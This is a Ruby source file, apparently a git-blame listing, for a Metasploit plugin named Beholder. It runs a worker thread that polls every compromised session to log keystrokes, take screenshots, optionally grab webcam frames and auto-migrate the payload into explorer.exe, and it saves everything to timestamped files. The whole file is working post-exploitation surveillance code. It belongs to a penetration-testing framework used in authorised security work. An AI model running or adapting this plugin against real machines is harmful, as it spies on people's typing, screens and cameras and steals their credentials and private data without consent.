2016-05-15 05:24:58 +00:00
|
|
|
# -*- coding:binary -*-
|
|
|
|
|
|
|
|
require 'fileutils'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Plugin::Beholder < Msf::Plugin
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Worker Thread
|
|
|
|
#
|
|
|
|
|
|
|
|
class BeholderWorker
|
|
|
|
attr_accessor :framework, :config, :driver, :thread
|
|
|
|
attr_accessor :state
|
|
|
|
|
|
|
|
def initialize(framework, config, driver)
|
|
|
|
self.state = { }
|
|
|
|
self.framework = framework
|
|
|
|
self.config = config
|
|
|
|
self.driver = driver
|
|
|
|
self.thread = framework.threads.spawn('BeholderWorker', false) {
|
|
|
|
begin
|
|
|
|
self.start
|
|
|
|
rescue ::Exception => e
|
|
|
|
$stderr.puts "BeholderWorker: #{e.class} #{e.to_s} #{e.backtrace}"
|
|
|
|
end
|
|
|
|
|
|
|
|
# Mark this worker as dead
|
|
|
|
self.thread = nil
|
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
def stop
|
|
|
|
return unless self.thread
|
|
|
|
self.thread.kill rescue nil
|
|
|
|
self.thread = nil
|
|
|
|
end
|
|
|
|
|
|
|
|
def start
|
|
|
|
self.driver.print_status("Beholder is logging to #{self.config[:base]}")
|
|
|
|
bool_options = [ :screenshot, :webcam, :keystrokes, :automigrate ]
|
|
|
|
bool_options.each do |o|
|
|
|
|
self.config[o] = !!( self.config[o].to_s =~ /^[yt1]/i)
|
|
|
|
end
|
|
|
|
|
|
|
|
int_options = [ :idle, :freq ]
|
|
|
|
int_options.each do |o|
|
|
|
|
self.config[o] = self.config[o].to_i
|
|
|
|
end
|
|
|
|
|
|
|
|
::FileUtils.mkdir_p(self.config[:base])
|
|
|
|
|
|
|
|
loop do
|
|
|
|
framework.sessions.keys.each do |sid|
|
|
|
|
begin
|
2016-05-15 06:35:05 +00:00
|
|
|
if self.state[sid].nil? ||
|
2016-05-15 05:24:58 +00:00
|
|
|
(self.state[sid][:last_update] + self.config[:freq] < Time.now.to_f)
|
|
|
|
process(sid)
|
|
|
|
end
|
|
|
|
rescue ::Exception => e
|
|
|
|
session_log(sid, "triggered an exception: #{e.class} #{e} #{e.backtrace}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
sleep(1)
|
2016-05-15 06:35:05 +00:00
|
|
|
end
|
2016-05-15 05:24:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def process(sid)
|
|
|
|
self.state[sid] ||= {}
|
|
|
|
store_session_info(sid)
|
|
|
|
return unless compatible?(sid)
|
2016-05-15 05:41:48 +00:00
|
|
|
return if stale_session?(sid)
|
2016-05-15 05:24:58 +00:00
|
|
|
verify_migration(sid)
|
|
|
|
cache_sysinfo(sid)
|
|
|
|
collect_keystrokes(sid)
|
|
|
|
collect_screenshot(sid)
|
|
|
|
collect_webcam(sid)
|
|
|
|
end
|
2016-05-15 06:35:05 +00:00
|
|
|
|
2016-05-15 05:24:58 +00:00
|
|
|
def session_log(sid, msg)
|
|
|
|
::File.open(::File.join(self.config[:base], "session.log"), "a") do |fd|
|
|
|
|
fd.puts "#{Time.now.strftime('%Y-%m-%d %H:%M:%S')} Session #{sid} [#{self.state[sid][:info]}] #{msg}"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def store_session_info(sid)
|
|
|
|
self.state[sid][:last_update] = Time.now.to_f
|
|
|
|
return if self.state[sid][:initialized]
|
|
|
|
self.state[sid][:info] = framework.sessions[sid].info
|
|
|
|
session_log(sid, "registered")
|
|
|
|
self.state[sid][:initialized] = true
|
|
|
|
end
|
|
|
|
|
|
|
|
def capture_filename(sid)
|
|
|
|
self.state[sid][:name] + "_" + Time.now.strftime("%Y%m%d-%H%M%S")
|
|
|
|
end
|
|
|
|
|
|
|
|
def store_keystrokes(sid, data)
|
2016-05-15 05:52:26 +00:00
|
|
|
return unless data.length > 0
|
2016-05-15 05:24:58 +00:00
|
|
|
filename = capture_filename(sid) + "_keystrokes.txt"
|
|
|
|
::File.open(::File.join(self.config[:base], filename), "wb") {|fd| fd.write(data) }
|
|
|
|
session_log(sid, "captured keystrokes to #{filename}")
|
|
|
|
end
|
|
|
|
|
|
|
|
def store_screenshot(sid, data)
|
|
|
|
filename = capture_filename(sid) + "_screenshot.jpg"
|
|
|
|
::File.open(::File.join(self.config[:base], filename), "wb") {|fd| fd.write(data) }
|
|
|
|
session_log(sid, "captured screenshot to #{filename}")
|
|
|
|
end
|
|
|
|
|
|
|
|
def store_webcam(sid, data)
|
|
|
|
filename = capture_filename(sid) + "_webcam.jpg"
|
|
|
|
::File.open(::File.join(self.config[:base], filename), "wb") {|fd| fd.write(data) }
|
|
|
|
session_log(sid, "captured webcam snap to #{filename}")
|
|
|
|
end
|
|
|
|
|
|
|
|
# TODO: Stop the keystroke scanner when the plugin exits
|
|
|
|
def collect_keystrokes(sid)
|
|
|
|
return unless self.config[:keystrokes]
|
|
|
|
sess = framework.sessions[sid]
|
|
|
|
unless self.state[sid][:keyscan]
|
|
|
|
# Consume any error (happens if the keystroke thread is already active)
|
|
|
|
sess.ui.keyscan_start rescue nil
|
|
|
|
self.state[sid][:keyscan] = true
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
collected_keys = sess.ui.keyscan_extract(sess.ui.keyscan_dump)
|
|
|
|
store_keystrokes(sid, collected_keys)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# TODO: Specify image quality
|
|
|
|
def collect_screenshot(sid)
|
|
|
|
return unless self.config[:screenshot]
|
|
|
|
sess = framework.sessions[sid]
|
|
|
|
collected_image = sess.ui.screenshot(50)
|
|
|
|
store_screenshot(sid, collected_image)
|
|
|
|
end
|
2016-05-15 06:35:05 +00:00
|
|
|
|
2016-05-15 05:24:58 +00:00
|
|
|
# TODO: Specify webcam index and frame quality
|
|
|
|
def collect_webcam(sid)
|
|
|
|
return unless self.config[:webcam]
|
|
|
|
sess = framework.sessions[sid]
|
|
|
|
begin
|
|
|
|
sess.webcam.webcam_start(1)
|
|
|
|
collected_image = sess.webcam.webcam_get_frame(100)
|
|
|
|
store_webcam(sid, collected_image)
|
|
|
|
ensure
|
|
|
|
sess.webcam.webcam_stop
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def cache_sysinfo(sid)
|
|
|
|
return if self.state[sid][:sysinfo]
|
|
|
|
self.state[sid][:sysinfo] = framework.sessions[sid].sys.config.sysinfo
|
|
|
|
self.state[sid][:name] = "#{sid}_" + (self.state[sid][:sysinfo]['Computer'] || "Unknown").gsub(/[^A-Za-z0-9\.\_\-]/, '')
|
|
|
|
end
|
2016-05-15 06:35:05 +00:00
|
|
|
|
2016-05-15 05:24:58 +00:00
|
|
|
def verify_migration(sid)
|
|
|
|
return unless self.config[:automigrate]
|
|
|
|
return if self.state[sid][:migrated]
|
|
|
|
sess = framework.sessions[sid]
|
|
|
|
|
|
|
|
# Are we in an explorer process already?
|
|
|
|
pid = sess.sys.process.getpid
|
|
|
|
session_log(sid, "has process ID #{pid}")
|
|
|
|
ps = sess.sys.process.get_processes
|
|
|
|
this_ps = ps.select{|x| x['pid'] == pid }.first
|
|
|
|
|
|
|
|
# Already in explorer? Mark the session and move on
|
|
|
|
if this_ps && this_ps['name'].to_s.downcase == 'explorer.exe'
|
|
|
|
session_log(sid, "is already in explorer.exe")
|
|
|
|
self.state[sid][:migrated] = true
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Attempt to migrate, but flag that we tried either way
|
|
|
|
self.state[sid][:migrated] = true
|
2016-05-15 06:35:05 +00:00
|
|
|
|
2016-07-11 00:05:59 +00:00
|
|
|
# Grab the first explorer.exe process we find that we have rights to
|
|
|
|
target_ps = ps.select{|x| x['name'].to_s.downcase == 'explorer.exe' && x['user'].to_s != '' }.first
|
2016-05-15 05:24:58 +00:00
|
|
|
unless target_ps
|
|
|
|
# No explorer.exe process?
|
|
|
|
session_log(sid, "no explorer.exe process found for automigrate")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Attempt to migrate to the target pid
|
|
|
|
session_log(sid, "attempting to migrate to #{target_ps.inspect}")
|
|
|
|
sess.core.migrate(target_ps['pid'])
|
|
|
|
end
|
|
|
|
|
2016-05-15 05:41:48 +00:00
|
|
|
# Only support sessions that have core.migrate()
|
2016-05-15 05:24:58 +00:00
|
|
|
def compatible?(sid)
|
|
|
|
framework.sessions[sid].respond_to?(:core) &&
|
|
|
|
framework.sessions[sid].core.respond_to?(:migrate)
|
|
|
|
end
|
2016-05-15 05:41:48 +00:00
|
|
|
|
|
|
|
# Skip sessions with ancient last checkin times
|
|
|
|
def stale_session?(sid)
|
|
|
|
return unless framework.sessions[sid].respond_to?(:last_checkin)
|
|
|
|
session_age = Time.now.to_i - framework.sessions[sid].last_checkin.to_i
|
|
|
|
# TODO: Make the max age configurable, for now 5 minutes seems reasonable
|
|
|
|
if session_age > 300
|
|
|
|
session_log(sid, "is a stale session, skipping, last checked in #{session_age} seconds ago")
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
return
|
|
|
|
end
|
2016-05-15 06:35:05 +00:00
|
|
|
|
2016-05-15 05:24:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
2016-05-15 06:35:05 +00:00
|
|
|
# Command Dispatcher
|
2016-05-15 05:24:58 +00:00
|
|
|
#
|
|
|
|
|
|
|
|
class BeholderCommandDispatcher
|
|
|
|
include Msf::Ui::Console::CommandDispatcher
|
|
|
|
|
|
|
|
@@beholder_config = {
|
|
|
|
screenshot: true,
|
2016-05-15 16:49:22 +00:00
|
|
|
webcam: false,
|
2016-05-15 05:24:58 +00:00
|
|
|
keystrokes: true,
|
|
|
|
automigrate: true,
|
|
|
|
base: ::File.join(Msf::Config.get_config_root, "beholder", Time.now.strftime("%Y-%m-%d.%s")),
|
|
|
|
freq: 30,
|
2016-05-15 17:32:05 +00:00
|
|
|
# TODO: Only capture when the idle threshold has been reached
|
2016-05-15 05:24:58 +00:00
|
|
|
idle: 0,
|
|
|
|
}
|
|
|
|
|
|
|
|
@@beholder_worker = nil
|
|
|
|
|
|
|
|
def name
|
|
|
|
"Beholder"
|
|
|
|
end
|
|
|
|
|
|
|
|
def commands
|
|
|
|
{
|
|
|
|
'beholder_start' => "Start capturing data",
|
|
|
|
'beholder_stop' => "Stop capturing data",
|
|
|
|
'beholder_conf' => "Configure capture parameters",
|
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
def cmd_beholder_stop(*args)
|
|
|
|
unless @@beholder_worker
|
|
|
|
print_error("Error: Beholder is not active")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Beholder is shutting down...")
|
|
|
|
stop_beholder
|
|
|
|
end
|
|
|
|
|
|
|
|
def cmd_beholder_conf(*args)
|
|
|
|
parse_config(*args)
|
|
|
|
print_status("Beholder Configuration")
|
|
|
|
print_status("----------------------")
|
|
|
|
@@beholder_config.each_pair do |k,v|
|
|
|
|
print_status(" #{k}: #{v}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def cmd_beholder_start(*args)
|
|
|
|
opts = Rex::Parser::Arguments.new(
|
|
|
|
"-h" => [ false, "This help menu"],
|
|
|
|
)
|
|
|
|
|
|
|
|
opts.parse(args) do |opt, idx, val|
|
|
|
|
case opt
|
|
|
|
when "-h"
|
2016-05-15 17:32:05 +00:00
|
|
|
print_line("Usage: beholder_start [base=</path/to/directory>] [screenshot=<true|false>] [webcam=<true|false>] [keystrokes=<true|false>] [automigrate=<true|false>] [freq=30]")
|
2016-05-15 05:24:58 +00:00
|
|
|
print_line(opts.usage)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2016-05-15 06:35:05 +00:00
|
|
|
if @@beholder_worker
|
2016-05-15 05:24:58 +00:00
|
|
|
print_error("Error: Beholder is already active, use beholder_stop to terminate")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
parse_config(*args)
|
|
|
|
start_beholder
|
|
|
|
end
|
|
|
|
|
|
|
|
def parse_config(*args)
|
|
|
|
new_config = args.map{|x| x.split("=", 2) }
|
|
|
|
new_config.each do |c|
|
|
|
|
unless @@beholder_config.has_key?(c.first.to_sym)
|
|
|
|
print_error("Invalid configuration option: #{c.first}")
|
|
|
|
next
|
|
|
|
end
|
|
|
|
@@beholder_config[c.first.to_sym] = c.last
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def stop_beholder
|
|
|
|
@@beholder_worker.stop if @@beholder_worker
|
|
|
|
@@beholder_worker = nil
|
|
|
|
end
|
2016-05-15 06:35:05 +00:00
|
|
|
|
2016-05-15 05:24:58 +00:00
|
|
|
def start_beholder
|
|
|
|
@@beholder_worker = BeholderWorker.new(framework, @@beholder_config, driver)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2016-05-15 06:35:05 +00:00
|
|
|
#
|
2016-05-15 05:24:58 +00:00
|
|
|
# Plugin Interface
|
|
|
|
#
|
|
|
|
|
|
|
|
def initialize(framework, opts)
|
|
|
|
super
|
|
|
|
add_console_dispatcher(BeholderCommandDispatcher)
|
|
|
|
end
|
|
|
|
|
|
|
|
def cleanup
|
|
|
|
remove_console_dispatcher('Beholder')
|
|
|
|
end
|
|
|
|
|
|
|
|
def name
|
|
|
|
"beholder"
|
|
|
|
end
|
|
|
|
|
|
|
|
def desc
|
|
|
|
"Capture screenshots, webcam pictures, and keystrokes from active sessions"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|